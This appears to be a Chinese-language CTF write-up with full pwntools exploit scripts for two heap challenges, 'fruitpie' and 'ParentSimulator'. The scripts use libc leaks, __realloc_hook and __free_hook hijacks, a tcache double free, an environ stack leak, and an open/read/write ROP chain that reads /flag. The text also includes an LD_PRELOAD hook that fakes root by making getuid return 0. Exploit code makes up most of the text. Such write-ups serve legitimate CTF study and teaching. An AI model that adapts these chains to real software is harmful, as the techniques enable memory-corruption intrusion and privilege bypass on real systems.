fruitpie malloc 申请 size 没有上限,后面会输出堆地址。
申请大 size 堆,以 mmap 方式分配,得到的堆地址在 libc 附近。
需要用 realloc 调整堆栈让 onegadget 生效,最后关闭了 stdout ,手动打开exec 1>&0
exec 1>&0 - luooofan
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 from pwn import *context.log_level = 'debug' context.binary = "./fruitpie" context.terminal = ['tmux' ,'sp' ,'-h' ] p = process("./fruitpie" ) libc = ELF("/lib/x86_64-linux-gnu/libc.so.6" ) p.recvuntil("malloc:" ) p.send(str (0x23002 )) p.recvuntil("0x" ) heap_addr = int (p.recvuntil('\n' ,drop=1 ),16 ) log.info("heap_addr:" +hex (heap_addr)) libc_base = heap_addr - 0x5ac010 log.info("libc_base:" +hex (libc_base)) malloc_hook = libc_base + libc.sym['__malloc_hook' ] log.info("malloc_hook:" +hex (malloc_hook)) realloc = libc_base + libc.sym['realloc' ] log.info("realloc:" +hex (realloc)) realloc_hook = libc_base + libc.sym['__realloc_hook' ] log.info("realloc_hook:" +hex (realloc_hook)) offset = realloc_hook-heap_addr log.info("realloc_hook-heap_addr:" +hex (offset)) onegadget = libc_base + 0x4527a log.info("onegadget:" +hex (onegadget)) ''' 0x45226 execve("/bin/sh", rsp+0x30, environ) constraints: rax == NULL 0x4527a execve("/bin/sh", rsp+0x30, environ) constraints: [rsp+0x30] == NULL 0xf0364 execve("/bin/sh", rsp+0x50, environ) constraints: [rsp+0x50] == NULL 0xf1207 execve("/bin/sh", rsp+0x70, environ) constraints: [rsp+0x70] == NULL ''' p.recvuntil("set:\n" ) p.sendline(hex (offset)) payload = p64(onegadget) + p64(realloc+8 ) p.recvuntil("Data:\n" ) p.send(payload) p.interactive()
ParentSimulator 检测启动用户是否为 root ,hook getuid 返回值为 0 :
1 2 3 4 5 6 7 8 #filename:hook.c #gcc -shared -fPIC hook.c -o hook.so #include <stdio.h> unsigned int getuid (void ) { puts ("[+]hook" ); return 0 ; }
Glibc 2.31 版本下的 UAF ,堆 size 固定为 0x100
从 glibc 2.29 开始就在 tcache 新增了 key 用于防止 double free 。题中堆块释放后,只有调用 sub_196B()
的一次机会修改位于 bin 中堆块内容。
程序要用 root 账户运行,可以 peatch 跳转汇编指令,我是 hook getuid
返回值为 0 :
1 2 3 4 5 6 7 8 #filename:hook.c #gcc -fPIC hook.c -o hook.so #include <stdio.h> unsigned int getuid (void ) { puts ("hook" ); return 0 ; }
1 p = process("./pwn" , env={"LD_PRELOAD" :"./hook.so" })
libc gadget 用 666
选项操作一个在 tcache 的堆,泄露出 tcache_struct 地址(堆地址),同时修改 key 实现 tcache double free
申请两次,获得指向同一块内存的指针。释放其中一个到 unsortedbin ,show 另外一个泄露出 libc 地址
程序开了沙盒禁止 execve
,之前学过思路是劫持 free_hook 为 setcontext+53 ,设置寄存器构造出一个 read 输入,输入 orw ropchain 并跳转。
之前 setcontext 做的题目:https://www.mrskye.cn/archives/233/
从大佬博客学到新姿势,劫持 free_hook 为 libc 的 gadget 栈迁移到堆上的 ropchain
执行 free_hook rdi 的值是被释放的堆地址,rbp 、 rax 都可以被控制,最后调用 leave_ret 实现栈迁移
[rax+0x28] :leave_ret
[rbp+0x18] :rax
[rdi+0x48] :rbp
leave_ret 跳转到 rbp 执行 ropchain ,所以 rbp 是 &(ropchain)-8 。gadget 跳转到 ropchain 的部署:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 0x5646d3e43e20 : uncontrol area write start at fd_nextsize 0x5646d3e43e30 : "/flag" padding0x5646d3e43e40 : padding padding0x5646d3e43e50 : padding padding0x5646d3e43e60: padding 0x5646d3e43d20(rbp-->ropchain-8) 0x5646d3e43e70 : leave_ret 0x0000000000000000 0x5646d3e43d10 : uncontrol area write start at fd_nextsize0x5646d3e43d20 : padding add_rsp_0x18_ret0x5646d3e43d30 : padding 0x00005646d3e43e48 0x5646d3e43d40 : padding pop_rdi_ret <==ropchain0x5646d3e43d50 : address of "/flag" pop_rsi_ret0x5646d3e43d60 : 0x0000000000000000 pop_rdx_r12_ret0x5646d3e43d70 : 0x0000000000000000 0x0000000000000000 0x5646d3e43d80 : open_addr pop_rdi_ret0x5646d3e43d90 : 0x0000000000000004 pop_rsi_ret…………
1 2 3 4 5 6 7 8 9 10 payload="/flag\x00\x00\x00" .ljust(0x38 ,'a' ) payload += p64(tcache_struct+0xd10 ) payload += p64(leave_ret) payload =p64(0xdeadbeefdeadbeef )+p64(add_rsp_0x18_ret) payload+=p64(0xdeadbeefdeadbeef )+p64(tcache_struct+0xe38 ) payload+=p64(0xdeadbeefdeadbeef ) payload+=ropchain
environ Libc 中的 environ 里面存了栈地址,根据偏移可以找到 main rip 的栈地址,然后 hijack rip 为 ropchain
这题每个堆可控输入位置从 fd_nextsize 开始,tcachebin 填入的地址 -0x10 。这题 main 的 canary 在很上面,即使会修改 rip 前面的 0x10 空间也不会触发 stack_check_fail
EXP libc gadget 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 from pwn import *context.log_level = 'debug' context.terminal = ['tmux' ,'sp' ,'-h' ] context.binary = './pwn' def menu (choice ): p.recvuntil(">> " ) p.sendline(str (choice)) def add (idx, sex, name ): menu(1 ) p.recvuntil("Please input index?\n" ) p.sendline(str (idx)) p.recvuntil("2.Girl:\n" ) p.sendline(str (sex)) p.recvuntil("Please input your child's name:\n" ) p.send(name) def edit_name (idx, name ): menu(2 ) p.recvuntil("Please input index?\n" ) p.sendline(str (idx)) p.recvuntil("Please input your child's new name:\n" ) p.send(name) def show (idx ): menu(3 ) p.recvuntil("Please input index?\n" ) p.sendline(str (idx)) def delete (idx ): menu(4 ) p.recvuntil("Please input index?\n" ) p.sendline(str (idx)) def edit_description (idx ,desc ): menu(5 ) p.recvuntil("Please input index?\n" ) p.sendline(str (idx)) p.recvuntil("Please input your child's description:\n" ) p.send(desc) p = process("./pwn" , env={"LD_PRELOAD" :"./hook.so" }) libc = ELF("/lib/x86_64-linux-gnu/libc.so.6" ) for i in range (8 ): add(i,1 ,'a' *7 ) delete(6 ) menu(666 ) p.sendline('6' ) p.recvuntil("gender:" ) tcache_struct = u64(p.recv(6 ).ljust(8 ,'\x00' )) log.info("tcache_struct:" +hex (tcache_struct)) p.recvuntil("Girl:\n" ) p.sendline('2' ) delete(6 ) add(6 ,1 ,'b' ) add(8 ,1 ,'b' ) for i in range (6 ): delete(i) delete(7 ) delete(6 ) show(8 ) main_arean = u64(p.recvuntil("\x7f" )[-6 :].ljust(8 ,'\x00' )) log.info("main_arean:" +hex (main_arean)) libc_base = main_arean - 0x1ebbe0 log.info("libc_base:" +hex (libc_base)) free_hook=libc_base+libc.sym['__free_hook' ] log.info("free_hook:" +hex (free_hook)) open_addr=libc_base+libc.sym['open' ] read=libc_base+libc.sym['read' ] puts=libc_base+libc.sym['puts' ] pop_rdi_ret=libc_base+0x0000000000026b72 pop_rsi_ret=libc_base+0x0000000000027529 pop_rdx_r12_ret=libc_base+0x000000000011c371 leave_ret = libc_base+0x000000000005aa48 gadget=libc_base+0x157D8A log.info("gadget:" +hex (gadget)) add_rsp_0x18_ret=libc_base+0x000000000003794a ret=libc_base+0x0000000000025679 for i in range (7 ): add(i,1 ,'d' ) add(6 ,1 ,'d' ) delete(7 ) delete(6 ) edit_name(8 ,p64(free_hook)[:-1 ]) add(6 ,1 ,'e' ) add(7 ,1 ,p64(gadget)[:-1 ]) payload="/flag\x00\x00\x00" .ljust(0x38 ,'a' ) payload += p64(tcache_struct+0xd10 ) payload += p64(leave_ret) edit_description(0 ,payload) payload =p64(0xdeadbeefdeadbeef )+p64(add_rsp_0x18_ret) payload+=p64(0xdeadbeefdeadbeef )+p64(tcache_struct+0xe38 ) payload+=p64(0xdeadbeefdeadbeef ) payload+=p64(pop_rdi_ret)+p64(tcache_struct+0xe20 ) payload+=p64(pop_rsi_ret)+p64(0 ) payload+=p64(pop_rdx_r12_ret)+p64(0 )*2 payload+=p64(open_addr) payload+=p64(pop_rdi_ret)+p64(4 ) payload+=p64(pop_rsi_ret) payload+=p64(tcache_struct+0x400 ) payload+=p64(pop_rdx_r12_ret)+p64(0x50 )+p64(0 ) payload+=p64(read) payload+=p64(pop_rdi_ret) payload+=p64(1 ) payload+=p64(pop_rsi_ret) payload+=p64(tcache_struct+0x400 ) payload+=p64(libc_base+libc.sym['write' ]) edit_description(6 ,payload) delete(0 ) p.interactive()
environ 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 from pwn import *context.log_level = 'debug' context.terminal = ['tmux' ,'sp' ,'-h' ] context.binary = './pwn' def menu (choice ): p.recvuntil(">> " ) p.sendline(str (choice)) def add (idx, sex, name ): menu(1 ) p.recvuntil("Please input index?\n" ) p.sendline(str (idx)) p.recvuntil("2.Girl:\n" ) p.sendline(str (sex)) p.recvuntil("Please input your child's name:\n" ) p.send(name) def edit_name (idx, name ): menu(2 ) p.recvuntil("Please input index?\n" ) p.sendline(str (idx)) p.recvuntil("Please input your child's new name:\n" ) p.send(name) def show (idx ): menu(3 ) p.recvuntil("Please input index?\n" ) p.sendline(str (idx)) def delete (idx ): menu(4 ) p.recvuntil("Please input index?\n" ) p.sendline(str (idx)) def secret (idx ): menu(666 ) p.recvuntil("Please input index?\n" ) p.sendline(str (idx)) p.recvuntil("2.Girl:\n" ) p.sendline(str (1 )) def edit_description (idx ,desc ): menu(5 ) p.recvuntil("Please input index?\n" ) p.sendline(str (idx)) p.recvuntil("Please input your child's description:\n" ) p.send(desc) p = process("./pwn" , env={"LD_PRELOAD" :"./hook.so" }) libc = ELF("/lib/x86_64-linux-gnu/libc.so.6" ) for i in range (7 ): add(i,1 ,'a' *7 ) add(7 ,1 ,'a' *7 ) add(8 ,1 ,'a' *7 ) for i in range (7 ): delete(i) delete(7 ) for i in range (7 ): add(i,1 ,'b' *7 ) add(9 ,1 ,'b' *7 ) for i in range (7 ): delete(i) delete(7 ) show(9 ) main_arean = u64(p.recvuntil('\x7f' )[-6 :].ljust(8 ,'\x00' )) log.info("main_arean:" +hex (main_arean)) libc_base = main_arean - 0x1ebbe0 log.info("libc_base:" +hex (libc_base)) free_hook=libc_base+libc.sym['__free_hook' ] log.info("free_hook:" +hex (free_hook)) environ = libc_base + libc.symbols["__environ" ] log.info("environ:" +hex (environ)) open_addr=libc_base+libc.sym['open' ] read=libc_base+libc.sym['read' ] puts=libc_base+libc.sym['puts' ] pop_rdi_ret=libc_base+0x0000000000026b72 pop_rsi_ret=libc_base+0x0000000000027529 pop_rdx_r12_ret=libc_base+0x000000000011c371 leave_ret = libc_base+0x000000000005aa48 gadget=libc_base+0x157D8A log.info("gadget:" +hex (gadget)) add_rsp_0x18_ret=libc_base+0x000000000003794a ret=libc_base+0x0000000000025679 for i in range (7 ): add(i,1 ,'c' *7 ) add(7 ,1 ,'c' *7 ) delete(0 ) delete(1 ) delete(7 ) menu(666 ) p.sendline('7' ) p.recvuntil("gender:" ) tcache_struct = u64(p.recv(6 ).ljust(8 ,'\x00' )) log.info("tcache_struct:" +hex (tcache_struct)) p.recvuntil("Girl:\n" ) p.sendline('2' ) delete(7 ) add(7 ,1 ,'b' ) edit_name(7 ,p64(tcache_struct)[:7 ]) add(8 ,1 ,'b' ) add(0 ,1 ,'b' ) payload = p64(0 ) + p64(0x7000000000000 ) payload = payload.ljust(0xe8 ,'\x00' ) payload += p64(environ-0x10 )[:7 ] edit_description(0 ,payload) add(1 ,1 ,'c' ) show(1 ) stack_leak = u64(p.recvuntil('\x7f' )[-6 :].ljust(8 , b"\x00" )) log.info("stack_leak:" +hex (stack_leak)) main_ret = stack_leak - 0x100 log.info("main_ret:" +hex (main_ret)) payload = p64(0 ) + p64(0x7000000000000 ) payload = payload.ljust(0xe8 ,'\x00' ) payload += p64(main_ret-0x10 )[:7 ] edit_description(0 ,payload) add(2 ,1 ,'d' ) edit_description(3 ,"/flag\x00" ) payload=p64(pop_rdi_ret)+p64(tcache_struct+0x9e0 ) payload+=p64(pop_rsi_ret)+p64(0 ) payload+=p64(pop_rdx_r12_ret)+p64(0 )*2 payload+=p64(open_addr) payload+=p64(pop_rdi_ret)+p64(4 ) payload+=p64(pop_rsi_ret) payload+=p64(tcache_struct+0x9f0 ) payload+=p64(pop_rdx_r12_ret)+p64(0x50 )+p64(0 ) payload+=p64(read) payload+=p64(pop_rdi_ret) payload+=p64(tcache_struct+0x9f0 ) payload+=p64(puts) edit_description(2 ,payload) menu(6 ) p.interactive()
Writeup 汇总 https://shimo.im/docs/V1hLlJ0RoRkI7Si9